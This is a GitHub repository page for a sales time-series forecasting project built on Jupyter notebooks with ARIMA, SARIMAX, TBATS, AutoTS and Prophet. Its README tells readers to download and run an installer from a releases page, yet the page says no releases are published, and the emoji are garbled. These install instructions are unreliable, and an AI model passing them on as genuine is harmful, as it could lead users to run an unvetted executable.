Skip to content

πŸ“Š Explore panel time-series forecasting techniques for sales using popular Python libraries like ARIMA, Prophet, and AutoTS in Jupyter notebooks.

License

Notifications You must be signed in to change notification settings

lucario09/ts-panel-forecasting-baselines

Repository files navigation

πŸ“Š ts-panel-forecasting-baselines - Predict Sales with Ease

πŸš€ Getting Started

Welcome to ts-panel-forecasting-baselines! This application helps you forecast daily sales across different stores and items. It includes clean validation methods, strong statistical baselines, and automated models, making it easy to generate accurate predictions.

πŸ“₯ Download Now

Download ts-panel-forecasting-baselines

πŸ” Features

  • Multiple Statistical Models: Use SARIMAX, TBATS, and ARIMA for your forecasting needs.
  • Automated Forecasting: Implement AutoTS for an easy setup.
  • User-Friendly Notebooks: Work with straightforward Jupyter notebooks for all analyses.
  • Validation Methods: Get reliable validation using holdout and rolling-origin backtesting techniques.
  • Optional Enhancements: Use Prophet, Darts, or NeuralProphet for additional forecasting options.
  • Key Metric: Measure performance with SMAPE for accurate forecasting evaluations.

πŸ› οΈ System Requirements

To use ts-panel-forecasting-baselines, you need:

  • Operating System: Windows, macOS, or any Linux distribution.
  • Python Version: Install Python 3.7 or higher.
  • Memory: At least 4 GB of RAM.
  • Storage: Minimum of 500 MB available disk space for installation.

πŸ“‚ Download & Install

To get started, visit the releases page to download the latest version of the application.

Visit this page to download

  1. Access the Releases Page: Click the link above to navigate to the releases section of the repository.
  2. Select the Latest Version: Look for the most recent release at the top of the page.
  3. Download the File: Choose the appropriate file for your operating system and click on it to download.
  4. Install the Application: Open the downloaded file and follow the installation instructions.

πŸ“Š Using the Application

Once you have installed the application, follow these steps to start forecasting:

  1. Launch Jupyter Notebooks:

    • Open the Jupyter Notebook interface on your machine. You can do this via the command prompt by typing jupyter notebook.
  2. Open a Notebook:

    • Inside the Jupyter interface, navigate to the directory where you installed the application. Open one of the available notebooks to begin.
  3. Load Your Data:

    • Prepare your dataset with daily sales information for different stores and items. Import this data into the notebook as guided in the notebook's comments.
  4. Choose a Model:

    • Select the forecasting model you want to use. You can choose from several options like SARIMAX, TBATS, or ARIMA, as demonstrated in the provided notebooks.
  5. Run the Analysis:

    • Execute the code blocks in the notebook step-by-step. Each section will guide you through loading data, training the model, and generating predictions.
  6. Evaluate Results:

    • Review the outputs and predictions from your model. Compare results using the SMAPE metric to assess the accuracy of your forecasts.

πŸ’‘ Tips for Best Results

  • Data Quality: Ensure your dataset is clean and free from errors for the best forecasting accuracy.
  • Model Experimentation: Try different models to see which provides the best results for your data.
  • Review Documentation: Check the comments within the notebooks for detailed annotations and further instructions.

🀝 Support

If you encounter any issues or have questions, feel free to open an issue on the GitHub repository. The community and the maintainers are here to help you.

🌐 Topics Covered

This project includes various topics related to time-series analysis such as:

  • ARIMA
  • AutoTS
  • Backtesting
  • Darts
  • Forecasting
  • NeuralProphet
  • Notebooks
  • Optuna
  • Panel Data
  • Prophet
  • Python
  • Rolling-Origin
  • SARIMAX
  • SMAPE
  • TBATS
  • Time-Series

Explore these topics to enhance your understanding and capabilities in forecasting sales data.

πŸ”— Additional Resources

For deeper insights into the methodologies and algorithms used in this project, consider exploring the following:

Happy forecasting!

About

πŸ“Š Explore panel time-series forecasting techniques for sales using popular Python libraries like ARIMA, Prophet, and AutoTS in Jupyter notebooks.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •